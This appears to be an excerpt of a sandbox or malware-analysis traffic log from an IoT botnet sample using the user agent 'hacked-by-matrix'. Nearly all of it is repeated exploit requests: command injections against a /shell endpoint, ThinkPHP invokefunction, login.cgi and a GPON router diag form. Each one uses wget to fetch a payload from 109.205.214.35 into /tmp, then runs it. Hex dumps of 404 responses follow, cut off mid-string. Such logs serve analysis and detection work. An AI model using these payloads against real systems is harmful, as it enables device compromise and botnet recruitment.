Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wgeData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive

Source: unknown

HTTP traffic detected: POST /GponForm/diag_Form?style/ HTTP/1.1User-Agent: hacked-by-matrixAccept: */*Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedData Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: Apache-Coyote/1.1Content-Type: text/html;charset=utf-8Content-Length: 994Date: Thu, 21 Mar 2024 04:18:43 GMTData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 41 70 61 63 68 65 20 54 6f 6d 63 61 74 2f 36 2e 30 2e 31 38 20 2d 20 45 72 72 6f 72 20 72 65 70 6f 72 74 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 3c 21 2d 2d 48 31 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 48 32 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 48 33 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 42 4f 44 59 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 7d 20 42 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 50 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 77 68 69 74 65 3b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 41 20 7b 63 6f 6c 6f 72 20 3a 20 62 6c 61 63 6b 3b 7d 41 2e 6e 61 6d 65 20 7b 63 6f 6c 6f 72 20 3a 20 62 6c 61 63 6b 3b 7d 48 52 20 7b 63 6f 6c 6f 72 20 3a 20 23 35 32 35 44 37 36 3b 7d 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 20 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 2d 20 2f 74 6d 55 6e 62 6c 6f 63 6b 2e 63 67 69 3c 2f 68 31 3e 3c 48 52 20 73 69 7a 65 3d 22 31 22 20 6e 6f 73 68 61 64 65 3d 22 6e 6f 73 68 61 64 65 22 3e 3c 70 3e 3c 62 3e 74 79 70 65 3c 2f 62 3e 20 53 74 61 74 75 73 20 72 65 70 6f 72 74 3c 2f 70 3e 3c 70 3e 3c 62 3e 6d 65 73 73 61 67 65 3c 2f 62 3e 20 3c 75 3e 2f 74 6d 55 6e 62 6c 6f 63 6b 2e 63 67 69 3c 2f 75 3e 3c 2f 70 3e 3c 70 3e 3c 62 3e 64 65 73 63 72 69 70 74 69 6f 6e 3c 2f 62 3e 20 3c 75 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 28 2f 74 6d 55 6e 62 6c 6f 63 6b 2e 63 67 69 29 20 69 73 20 6e 6f 74 20 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 75 3e 3c 2f 70 3e 3c 48 52 20 73 69 7a 65 3d 22 31 22 20 6e 6f 73 68 61 64 65 3d 22 6e 6f 73 68 61 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: Apache-Coyote/1.1Content-Type: text/html;charset=utf-8Content-Length: 994Date: Thu, 21 Mar 2024 04:18:43 GMTData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 41 70 61 63 68 65 20 54 6f 6d 63 61 74 2f 36 2e 30 2e 31 38 20 2d 20 45 72 72 6f 72 20 72 65 70 6f 72 74 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 3c 21 2d 2d 48 31 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 48 32 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 48 33 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 42 4f 44 59 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 7d 20 42 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 50 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 77 68 69 74 65 3b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 41 20 7b 63 6f 6c 6f 72 20 3a 20 62 6c 61 63 6b 3b 7d 41 2e 6e 61 6d 65 20 7b 63 6f 6c 6f 72 20 3a 20 62 6c 61 63 6b 3b 7d 48 52 20 7b 63 6f 6c 6f 72 20 3a 20 23 35 32 35 44 37 36 3b 7d 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 20 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 2d 20 2f 74 6d 55 6e 62 6c 6f 63 6b 2e 63 67 69 3c 2f 68 31 3e 3c 48 52 20 73 69 7a 65 3d 22 31 22 20 6e 6f 73 68 61 64 65 3d 22 6e 6f 73 68 61 64 65 22 3e 3c 70 3e 3c 62 3e 74 79 70 65 3c 2f 62 3e 20 53 74 61 74 75 73 20 72 65 70 6f 72 74 3c 2f 70 3e 3c 70 3e 3c 62 3e 6d 65 73 73 61 67 65 3c 2f 62 3e 20 3c 75 3e 2f 74 6d 55 6e 62 6c 6f 63 6b 2e 63 67 69 3c 2f 75 3e 3c 2f 70 3e 3c 70 3e 3c 62 3e 64 65 73 63 72 69 70 74 69 6f 6e 3c 2f 62 3e 20 3c 75 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 28 2f 74 6d 55 6e 62 6c 6f 63 6b 2e 63 67 69 29 20 69 73 20 6e 6f 74 20 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 75 3e 3c 2f 70 3e 3c 48 52 20 73 69 7a 65 3d 22 31 22 20 6e 6f 73 68 61 64 65 3d 22 6e 6f 73 68 61 6
